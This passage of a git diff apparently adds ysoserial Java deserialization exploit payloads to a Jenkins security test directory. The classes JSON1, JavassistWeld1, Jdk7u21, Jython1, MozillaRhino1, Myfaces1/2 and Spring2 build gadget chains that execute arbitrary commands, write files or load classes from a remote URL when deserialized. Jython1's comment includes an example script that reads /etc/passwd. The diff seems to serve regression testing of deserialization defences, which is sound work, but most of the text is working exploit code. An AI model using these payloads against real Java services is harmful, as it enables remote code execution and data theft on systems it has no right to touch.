java.util.HashMap.putVal(int, K, V, boolean, boolean) + * java.util.HashMap.readObject(ObjectInputStream) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes", "unchecked", "restriction" +} ) +@Dependencies ( { + "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", + // deep deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", + "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" +} ) +public class JSON1 implements ObjectPayload { + + public Map getObject ( String command ) throws Exception { + return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class); + } + + + /** + * Will call all getter methods on payload that are defined in the given interfaces + */ + public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException { + CompositeType rt = new CompositeType("a", "b", new String[] { + "a" + }, new String[] { + "a" + }, new OpenType[] { + javax.management.openmbean.SimpleType.INTEGER + }); + TabularType tt = new TabularType("a", "b", rt, new String[] { + "a" + }); + TabularDataSupport t1 = new TabularDataSupport(tt); + TabularDataSupport t2 = new TabularDataSupport(tt); + + // we need to make payload implement composite data + // it's very likely that there are other proxy impls that could be used + AdvisedSupport as = new AdvisedSupport(); + as.setTarget(payload); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections + .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); + CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl(); + invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler); + invocationHandler.setDefaultHandler(delegateInvocationHandler); + final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); + + JSONObject jo = new JSONObject(); + Map m = new HashMap(); + m.put("t", cdsProxy); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(t1, "dataMap", jo); + Reflections.setFieldValue(t2, "dataMap", jo); + return Gadgets.makeMap(t1, t2); + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JSON1.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java new file mode 100644 index 0000000000000000000000000000000000000000..e52fe03dad6621d636b5c6fda223f9781e928a53 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java @@ -0,0 +1,79 @@ +package jenkins.security.security218.ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; +import org.jboss.weld.interceptor.spi.model.InterceptionType; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +import java.lang.reflect.Constructor; +import java.util.*; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + final Object gadget = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + defaultMethodMetadataConstructor.setAccessible(true); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return gadget; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } + + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(JavassistWeld1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java new file mode 100755 index 0000000000000000000000000000000000000000..d9255750f0e532c7419e3092a816e79a9bf42f40 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java @@ -0,0 +1,93 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.LinkedHashSet; + +import javax.xml.transform.Templates; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.JavaVersion; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/* + +Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has +the same JRE version requirements. + +See: https://gist.github.com/frohoff/24af7913611f8406eaf3 + +Call tree: + +LinkedHashSet.readObject() + LinkedHashSet.add() + ... + TemplatesImpl.hashCode() (X) + LinkedHashSet.add() + ... + Proxy(Templates).hashCode() (X) + AnnotationInvocationHandler.invoke() (X) + AnnotationInvocationHandler.hashCodeImpl() (X) + String.hashCode() (0) + AnnotationInvocationHandler.memberValueHashCode() (X) + TemplatesImpl.hashCode() (X) + Proxy(Templates).equals() + AnnotationInvocationHandler.invoke() + AnnotationInvocationHandler.equalsImpl() + Method.invoke() + ... + TemplatesImpl.getOutputProperties() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + ClassLoader.defineClass() + Class.newInstance() + ... + MaliciousClass.() + ... + Runtime.exec() + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies() +@PayloadTest ( precondition = "isApplicableJavaVersion") +public class Jdk7u21 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + Reflections.setFieldValue(tempHandler, "type", Templates.class); + Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); + + LinkedHashSet set = new LinkedHashSet(); // maintain order + set.add(templates); + set.add(proxy); + + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + map.put(zeroHashCodeStr, templates); // swap in real object + + return set; + } + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jdk7u21.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java new file mode 100644 index 0000000000000000000000000000000000000000..b014660241af517e81cbea91ed9b4c79ec77ca8a --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java @@ -0,0 +1,106 @@ +package jenkins.security.security218.ysoserial.payloads; + +import org.apache.commons.io.FileUtils; +import org.python.core.*; + +import java.math.BigInteger; +import java.io.File; +import java.lang.reflect.Proxy; +import java.util.Arrays; +import java.util.Comparator; +import java.util.PriorityQueue; + +import jenkins.security.security218.ysoserial.payloads.util.Reflections; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + * + * This version of Jython1 writes a python script on the victim machine and + * executes it. The format of the parameters is: + * + * ; + * + * Where local path is the python script's location on the attack box and + * remote path is the location where the script will be written/executed from. + * For example: + * + * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" + * + * In the above example, if "read_etc_passwd.py" simply contained the string: + * + * raise Exception(open('/etc/passwd', 'r').read()) + * + * Then, when deserialized, the script will read in /etc/passwd and raise an + * exception with its contents (which could be useful if the target returns + * exception information). + */ + +@PayloadTest(skip="non RCE") +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({ "org.python:jython-standalone:2.5.2" }) +public class Jython1 extends PayloadRunner implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + + String[] paths = command.split(";"); + if (paths.length != 2) { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); + } + + // Set payload parameters + String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); + + // Python bytecode to write a file on disk and execute it + String code = + "740000" + //0 LOAD_GLOBAL 0 (open) + "640100" + //3 LOAD_CONST 1 (remote path) + "640200" + //6 LOAD_CONST 2 ('w+') + "830200" + //9 CALL_FUNCTION 2 + "7D0000" + //12 STORE_FAST 0 (file) + + "7C0000" + //15 LOAD_FAST 0 (file) + "690100" + //18 LOAD_ATTR 1 (write) + "640300" + //21 LOAD_CONST 3 (python code) + "830100" + //24 CALL_FUNCTION 1 + "01" + //27 POP_TOP + + "7C0000" + //28 LOAD_FAST 0 (file) + "690200" + //31 LOAD_ATTR 2 (close) + "830000" + //34 CALL_FUNCTION 0 + "01" + //37 POP_TOP + + "740300" + //38 LOAD_GLOBAL 3 (execfile) + "640100" + //41 LOAD_CONST 1 (remote path) + "830100" + //44 CALL_FUNCTION 1 + "01" + //47 POP_TOP + "640000" + //48 LOAD_CONST 0 (None) + "53"; //51 RETURN_VALUE + + // Helping consts and names + PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; + String[] names = new String[]{"open", "write", "close", "execfile"}; + + // Generating PyBytecode wrapper for our python bytecode + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); + Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); + + // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method + PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); + + // Prepare Trigger Gadget + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[] {1,1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + + return priorityQueue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jython1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java new file mode 100644 index 0000000000000000000000000000000000000000..3964adc6e8af1591c8e2fc89264f169c97fb0a71 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java @@ -0,0 +1,66 @@ +package jenkins.security.security218.ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"rhino:js:1.7R2"}) +public class MozillaRhino1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + nativeErrorConstructor.setAccessible(true); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + getSlot.setAccessible(true); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + getter.setAccessible(true); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + memberboxClassConstructor.setAccessible(true); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + valField.setAccessible(true); + valField.set(badAttributeValueExpException, idScriptableObject); + + return badAttributeValueExpException; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(MozillaRhino1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java new file mode 100644 index 0000000000000000000000000000000000000000..976c5173d234a4b9dc9e52ebfbdec7bd170cc5ff --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java @@ -0,0 +1,92 @@ +package jenkins.security.security218.ysoserial.payloads; + + + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - an EL expression to execute + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest(skip="Requires running MyFaces, no direct execution") +public class Myfaces1 implements ObjectPayload, DynamicDependencies { + + public Object getObject ( String command ) throws Exception { + return makeExpressionPayload(command); + } + + + public static String[] getDependencies () { + if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ( "juel".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return Gadgets.makeMap(e2, e); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java new file mode 100644 index 0000000000000000000000000000000000000000..11514930518d7007dca760fa3ee9014eae0a38a1 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java @@ -0,0 +1,64 @@ +package jenkins.security.security218.ysoserial.payloads; + + + +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - base_url:classname + * + * Yields: + * - Instantiation of remotely loaded class + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) +public class Myfaces2 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + return Myfaces1.getDependencies(); + } + + + public Object getObject ( String command ) throws Exception { + int sep = command.lastIndexOf(':'); + if ( sep < 0 ) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + + // if we add fewer than the actual classloaders we end up with a null entry + for ( int i = 0; i < 100; i++ ) { + expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + } + expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + + return Myfaces1.makeExpressionPayload(expr); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces2.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java index 22c656b8f60ce564e5115c6577f04eb58a133904..ac5391fc6f1d687ebd0e039f1628dbe607c8ef89 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java @@ -23,10 +23,98 @@ */ package jenkins.security.security218.ysoserial.payloads; +import java.lang.reflect.Modifier; +import java.util.Iterator; +import java.util.Set; + +import org.reflections.Reflections; + +import jenkins.security.security218.ysoserial.GeneratePayload; + public interface ObjectPayload { - /* - * return armed payload object to be serialized that will execute specified - * command on deserialization - */ - public T getObject(String command) throws Exception; + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; + + public static class Utils { + + // get payload classes by classpath scanning + public static Set> getPayloadClasses () { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { + iterator.remove(); + } + } + return payloadTypes; + } + @SuppressWarnings ( "unchecked" ) + public static Class getPayloadClass ( final String className ) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } + catch ( Exception e1 ) {} + if ( clazz == null ) { + try { + return clazz = (Class) Class + .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); + } + catch ( Exception e2 ) {} + } + if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { + clazz = null; + } + return clazz; + } + + + public static Object makePayloadObject ( String payloadType, String payloadArg ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(payloadArg); + } + catch ( Exception e ) { + throw new IllegalArgumentException("Failed to construct payload", e); + } + return payloadObject; + } + + + @SuppressWarnings ( "unchecked" ) + public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { + if ( payload instanceof ReleaseableObjectPayload ) { + ( (ReleaseableObjectPayload) payload ).release(object); + } + } + + + public static void releasePayload ( String payloadType, Object payloadObject ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(); + } + + } + } } diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java new file mode 100644 index 0000000000000000000000000000000000000000..2fe2b9b717e03e0f6660828ab0fbc6d18a59e0a6 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java @@ -0,0 +1,11 @@ +package jenkins.security.security218.ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release( T obj ) throws Exception; +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java new file mode 100644 index 0000000000000000000000000000000000000000..973edd1083d24cb087b134ccfafbb7afe2d23686 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java @@ -0,0 +1,75 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import static java.lang.Class.forName; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.JavaVersion; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * + * Just a PoC to proof that the ObjectFactory stuff is not the real problem. + * + * Gadget chain: + * TemplatesImpl.newTransformer() + * Method.invoke(Object, Object...) + * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.newTransformer() + * Method.invoke(Object, Object...) + * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies ( { + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + // test deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" +} ) +@PayloadTest ( precondition = "isApplicableJavaVersion") +public class Spring2 extends PayloadRunner implements ObjectPayload { + + public Object getObject ( final String command ) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(templates)); + + final Type typeTemplatesProxy = Gadgets.createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + Type.class, + Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); + Reflections.setFieldValue(mitp, "provider", typeProviderProxy); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + return mitp; + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Spring2.class, args); + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java new file mode 100644 index 0000000000000000000000000000000000000000..38b39c86717aeb2be08128549779893f2b1d5119 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java @@ -0,0 +1,111 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.wicket.util.upload.DiskFileItem; +import org.apache.wicket.util.io.DeferredFileOutputStream; +import org.apache.wicket.util.io.ThresholdingOutputStream; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * This gadget is almost identical to FileUpload1 since it appears + * that Apache Wicket copied a version of Apache Commons DiskFileItem + * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That + * means that if the target is running less than Oracle Java 7 update 40 + * then the NULL byte attack is viable. Otherwise, copy and move attacks + * always work. + * + * This attack is valid for the 1.x and 6.x lines of Apache Wicket but + * was fixed in 1.5.16 and 6.24.0 (released July 2016). + * + * + * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + * + * Example: + * Wicket1 "write;/tmp;blue lobster" + * + * Result: + * $ ls -l /tmp/ + * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * blue lobster + */ +@Dependencies({"wicket-util:wicket-util:6.23"}) +public class Wicket1 implements ReleaseableObjectPayload { + + public DiskFileItem 